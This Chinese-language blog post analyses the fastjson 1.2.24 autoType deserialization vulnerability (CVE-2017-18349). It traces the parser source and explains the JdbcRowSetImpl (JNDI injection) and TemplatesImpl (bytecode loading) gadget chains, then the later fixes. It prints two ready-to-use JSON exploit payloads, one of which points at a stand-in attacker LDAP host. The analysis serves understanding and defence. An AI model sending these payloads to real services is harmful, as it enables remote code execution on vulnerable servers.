Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349)
写在前面
fastjson 反序列化这条“百足之虫”,1.2.47 那篇复现里我们见过它怎么“绕过”。但要看懂绕过,得先回到原点——1.2.24,autoType 还是“裸奔”状态的年代。
1.2.24(CVE-2017-18349)是 fastjson 反序列化的开山之作。这时 autoType 默认开启、没有任何黑名单,@type想指谁指谁。它回答了一个根本问题:fastjson 凭什么能把一段 JSON 变成任意 Java 对象,还顺手执行了 setter/getter?
这篇我们扒源码,把 autoType 从“读到一个@type”到“对象被实例化、危险方法被调用”的每一步讲透,并拆两条最经典的 gadget:JdbcRowSetImpl(JNDI 注入)和TemplatesImpl(字节码加载)。
本文只讲源码机制,不复现(复现见 1.2.47 那篇)。前置的 JNDI/反序列化基础见 Java 反序列化漏洞基础。
一、漏洞简介
- 漏洞组件:Alibaba fastjson
- 影响版本:≤ 1.2.24
- 漏洞类型:autoType 任意类反序列化导致 RCE
- CVE:CVE-2017-18349
- 根因:反序列化时
@type可指定任意类并自动实例化、调用其 setter/getter,无任何类型校验 - 特点:autoType 默认开启,黑名单不存在,利用门槛极低
二、autoType 的源码机制
autoType 不是玄学,它是 fastjson 反序列化器里几行明确的代码。我们从入口JSON.parseObject一路追下去。
2.1 入口:DefaultJSONParser 识别 @type
JSON.parseObject(str)最终会构造一个DefaultJSONParser并调它的parse/parseObject。解析 JSON 对象时,解析器逐个读 key;当读到那个特殊的 key"@type"(JSON.DEFAULT_TYPE_KEY),就走 autoType 分支:
// DefaultJSONParser.parseObject (fastjson 1.2.24,核心分支)if(key==JSON.DEFAULT_TYPE_KEY&&!lexer.isEnabled(Feature.DisableSpecialKeyDetect)){StringtypeName=lexer.scanSymbol(this.getSymbolTable(),'"');// 读出类名...// ★ 1.2.24 直接 loadClass,没有任何 checkAutoType!Class<?>clazz=TypeUtils.loadClass(typeName,config.getDefaultClassLoader(),true);...// 2. 拿到这个类的反序列化器ObjectDeserializerdeserializer=config.getDeserializer(clazz);// 3. 委托给它反序列化return(JSONObject)deserializer.deserialze(this,clazz,fieldName);}注意第 1 步:1.2.24 里@type指定的类名被直接喂给TypeUtils.loadClass,中间没有任何黑白名单校验——这是 1.2.25 之后checkAutoType要补的位置,此时还空着。
三步概括:autoType =识别 @type → 加载类 → 委托反序列化器。前两步是“找类”,第三步是“造对象 + 填字段”,危险恰恰在第三步。
2.2 加载类:TypeUtils.loadClass
TypeUtils.loadClass负责“类名字符串 → Class 对象”,逻辑很直白——先查缓存,查不到就loadClass/Class.forName:
// TypeUtils.loadClass (fastjson 1.2.24)publicstaticClass<?>loadClass(StringclassName,ClassLoaderclassLoader,booleancache){if(className==null||className.length()==0)returnnull;Class<?>clazz=mappings.get(className);// ① 先查内部缓存 mappingsif(clazz!=null)returnclazz;...// ② 基本类型/数组等内置处理if(classLoader!=null){try{clazz=classLoader.loadClass(className);// ③ 用传入的 ClassLoader 加载if(cache)mappings.put(className,clazz);// ★ cache=true 时塞进缓存returnclazz;}catch(ClassNotFoundExceptione){/* fallthrough */}}try{clazz=Class.forName(className);// ④ 兜底:Class.forNameif(cache)mappings.put(className,clazz);returnclazz;}catch(ClassNotFoundExceptione){...}returnclazz;}两点要点:
- 加载任意类:
classLoader.loadClass/Class.forName能加载 classpath 上(包括 JDK 内部)的任何类,比如com.sun.rowset.JdbcRowSetImpl。1.2.24 不拦。 - cache=true:parseObject 那一步传入的就是
true,于是每个被@type加载过的类都会进mappings缓存。这个缓存后面 1.2.47 那篇会反复用到——记住它,它是后续绕过的“弹药库”。
类拿到了,接下来就是怎么把 JSON 字段变成对象状态——这一步会触发 setter/getter。
2.3 造对象 + 填字段:JavaBeanDeserializer
第三步deserializer.deserialze对普通 JavaBean 走的是JavaBeanDeserializer。它干两件事:
- 实例化:用默认构造器(或 ASM 生成的快速反序列化器)
new出对象。 - 填字段:遍历 JSON 里剩下的每个字段,找到对象上对应的
FieldDeserializer,由它把值塞进去——通常就是调setXxx。
// JavaBeanDeserializer 反序列化大致流程(简化)Objectinstance=createInstance(...);// new 出来for(JSON字段(name,value)){FieldDeserializerfd=getFieldDeserializer(name);// 按字段名找处理器fd.setValue(instance,value);// ★ 通常是 instance.setXxx(value)}setValue内部对常规字段就是反射调用 setter。这就是危险传导的关键:攻击者控制 JSON 的字段名和值,就能指定调用哪个 setter、传什么参数。只要某个类的 setter / 构造过程里有副作用(连接、加载、执行),就被点燃了。
小结:autoType 的“自动”体现在两处自动:(1) 按类名自动加载类;(2) 按字段名自动调 setter。前者决定“能碰哪个类”,后者决定“能触发类的哪个动作”。1.2.24 两处都不设防。
下面看两条最经典的 gadget,正好分别踩中“setter 触发”和“getter 触发”两种姿势。
三、Gadget 一:JdbcRowSetImpl(setter 触发 JNDI)
com.sun.rowset.JdbcRowSetImpl是 JDK 自带的类,攻击者不必引入任何依赖——这是它受欢迎的原因。它的 settersetAutoCommit里藏着一个 JNDI lookup。
payload(1.2.24 不需要绕过,直接打):
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者:1389/Exploit","autoCommit":true}3.1 两个 setter 的接力
fastjson 解析这个 JSON,对JdbcRowSetImpl实例依次调两个 setter:
// com.sun.rowset.JdbcRowSetImplpublicvoidsetDataSourceName(Stringname)throwsSQLException{if(name==null){dataSource=null;}elseif(name.equals(dataSource)){/* 无变化 */}else{dataSource=name;// ★ 把 ldap://... 存进 dataSource 字段...}}publicvoidsetAutoCommit(booleanvar1)throwsSQLException{if(this.conn==null){// conn 初始为 nullthis.conn=this.connect();// ★ conn 为空就主动 connect()!}if(this.conn!=null){this.conn.setAutoCommit(var1);}...}setDataSourceName("ldap://攻击者:1389/Exploit"):把恶意 URL 存到dataSource字段。这一步本身无害,只是赋值。setAutoCommit(true):检测到conn还是 null,于是调connect()去“建数据库连接”。
3.2 connect() 里的 JNDI lookup
connect()拿dataSource里的字符串去InitialContext.lookup——而那个字符串是攻击者塞进去的 LDAP/RMI URL:
// JdbcRowSetImpl.connectprivateConnectionconnect()throwsSQLException{...InitialContextvar1=newInitialContext();DataSourcevar2=(DataSource)var1.lookup(this.getDataSourceName());// ★ JNDI 注入点!...}lookup("ldap://攻击者:1389/Exploit")一执行,流程就交给了 JNDI 的“下半段”:连攻击者 LDAP → 返回 Reference 指向远程恶意类 → 加载并实例化 → 命令执行。这一段和 Log4j2 完全一样(见 Log4j2 篇),受com.sun.jndi.ldap.object.trustURLCodebase限制。
整条链:
@type=JdbcRowSetImpl ├ setDataSourceName("ldap://攻击者") 存 URL(无害赋值) └ setAutoCommit(true) └ conn==null -> connect() └ InitialContext.lookup(dataSource) ★ JNDI 注入 └ 连攻击者 LDAP -> 加载远程类 -> RCE注意一个共性:危险动作发生在 setter 的正常业务逻辑里。setAutoCommit本意是“设置自动提交,顺带没连就先连一下”,connect本意是“按 dataSource 建连接”。攻击者没有调用任何“危险 API”,只是把字段值喂成了能被 JNDI 解析的 URL。这就是为什么 gadget 常常藏在 setter 里——它们是“看起来正常、实则可达危险路径”的方法。
四、Gadget 二:TemplatesImpl(getter 触发字节码加载)
第二条链com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl走的是另一条路:不靠 setter,靠getter,而且不依赖 JNDI(不需要出网),直接在本地加载恶意字节码。payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["<恶意类字节码的 Base64>"],"_name":"a.b","_tfactory":{},"_outputProperties":{}}4.1 fastjson 怎么会调 getter?
这是 fastjson 特有的机关。反序列化_outputProperties字段时,fastjson 要把{}里的内容“填进去”。它的属性查找逻辑大致是:
// JavaBeanDeserializer 处理一个属性值时的策略(简化)// 对属性 outputProperties:Methodsetter=findSetter("outputProperties");// setOutputProperties?——TemplatesImpl 没有Methodgetter=findGetter("outputProperties");// getOutputProperties() ——有!if(setter==null&&getter!=null){Objecttarget=getter.invoke(instance);// ★ 调 getter 拿一个“可填值”的对象// 然后把 JSON 内容往 target 里填}TemplatesImpl实现了javax.xml.transform.Templates接口,该接口只规定getOutputProperties()和newTransformer(),没有 setter。于是 fastjson 对outputProperties属性只能走 getter:调用getOutputProperties()拿到一个Properties对象,再把 JSON{}的内容往里填。攻击者正是利用这一点:用一个空对象{}触发 getter 执行。(字段名加下划线_outputProperties是 fastjson 的字段映射约定,映射到属性outputProperties。)
4.2 getter 一路走到 defineClass
getOutputProperties的实现把调用链一路引到类加载:
// TemplatesImplpublicsynchronizedPropertiesgetOutputProperties(){try{returnnewTransformer().getOutputProperties();// ★ → newTransformer}catch(...){...}}publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpltransformer=newTransformerImpl(getTransletInstance(),...);// ★ → getTransletInstance...}privateTransletgetTransletInstance(){...if(_class==null)defineTransletClasses();// ★ → defineTransletClassesAbstractTranslettranslet=(AbstractTranslet)_class[_transletIndex].newInstance();// ★ 实例化恶意类!...}privatevoiddefineTransletClasses(){...for(inti=0;i<classCount;i++){_class[i]=loader.defineClass(_bytecodes[i]);// ★ 加载 _bytecodes 里的字节码}}_bytecodes字段被 fastjson 填成了攻击者预先生成的恶意类字节码(Base64 编码)。defineTransletClasses用defineClass把这段字节码定义成一个 Class。getTransletInstance再newInstance()实例化它——恶意类的static{}块或构造方法执行,命令落地。
链路图:
_outputProperties: {} └ fastjson 调 getOutputProperties() (属性无 setter,走 getter) └ newTransformer() └ getTransletInstance() ├ defineTransletClasses() │ └ defineClass(_bytecodes) 加载恶意字节码 └ newInstance() 实例化 -> 命令执行4.3 两条链对比
| 维度 | JdbcRowSetImpl | TemplatesImpl |
|---|---|---|
| 触发点 | setter(setAutoCommit) | getter(getOutputProperties) |
| 危险路径 | JNDI lookup | defineClass + newInstance |
| 是否需出网 | 需要(连 LDAP/RMI) | 不需要(本地加载字节码) |
| payload 大小 | 小(URL) | 大(嵌 Base64 字节码) |
| JDK 限制 | 受trustURLCodebase限制 | 受defineClass可见性/_tfactory影响 |
TemplatesImpl这条链更“自闭”(不出网也能打),代价是 payload 体积大、构造更繁琐。两者都依赖 1.2.24 的“无校验加载 + 自动调方法”,只是切入点一左一右。
五、为什么 1.2.24 如此脆弱
把上面拆开看,1.2.24 的脆弱是三道门全开的结果:
- autoType 默认开:
@type默认就被处理,无需目标主动开启。 - loadClass 无校验:
@type指向任意类(含 JDK 内部类),直接加载。 - 自动调 setter/getter:
JavaBeanDeserializer按字段名自动调用 setter/getter,把“赋值”变成了“触发动作”。
三者叠加,任何一个 JSON 都能在反序列化时执行攻击者指定的类的指定方法。这是“功能即漏洞”的典型:autoType 的设计目标是“灵活还原任意对象”,但“任意”二字本身就是 RCE 的全部前提。
六、修复:1.2.25 引入 checkAutoType
1.2.25 的修补针对上面三道门:
- 默认关 autoType:
ParserConfig.autoTypeSupport=false,不显式开启则@type不被处理。 - 加 checkAutoType:在
loadClass之前插入类型校验,命中黑名单(denyList)的直接抛异常。1.2.42 起黑名单从明文类名前缀改为哈希(denyHashCodes),防止逆向。
// 1.2.25+ 的 parseObject 分支(对比 2.1)Class<?>clazz=config.checkAutoType(typeName,null);// ★ 新增:先过校验// 通过后才 loadClass但黑名单是“已知危险类的清单”,本质是堵已知、防不住未知。于是从 1.2.25 到 1.2.47,官方一路加黑名单,攻击者一路绕(类名前后缀绕过、缓存投毒……)。这场猫鼠游戏的故事,正是 1.2.47 绕过分析的主题。
1.2.68 引入
safeMode(setSafeMode(true)),彻底禁用 autoType,才算给这场游戏画了句号。
七、小结
1.2.24 这篇我们看清了 autoType 的“三个自动”:自动识别@type、自动加载类、自动调 setter/getter。两条 gadget 分别展示了 setter(JdbcRowSetImpl→ JNDI)和 getter(TemplatesImpl→ defineClass)两种触发姿势。
要点记住三条:
- 危险藏在正常方法里:gadget 的 setter/getter 看起来都是正常业务方法,危险来自“它们的实现里会走到 lookup / defineClass”。
- 赋值即触发:fastjson 把“填字段”实现成“调 setter”,于是攻击者控制字段就能控制方法调用——这是所有 fastjson gadget 的共同机理。
- mappings 缓存是个雷:
loadClass(cache=true)把加载过的类塞进mappings,1.2.24 这里只是个性能优化,但到了 1.2.47,这个缓存被翻出来当成了绕过黑名单的跳板。
下一篇1.2.47 绕过分析,我们就来看这个缓存怎么被“投毒”。
参考
- fastjson GitHub:https://github.com/alibaba/fastjson
- CVE-2017-18349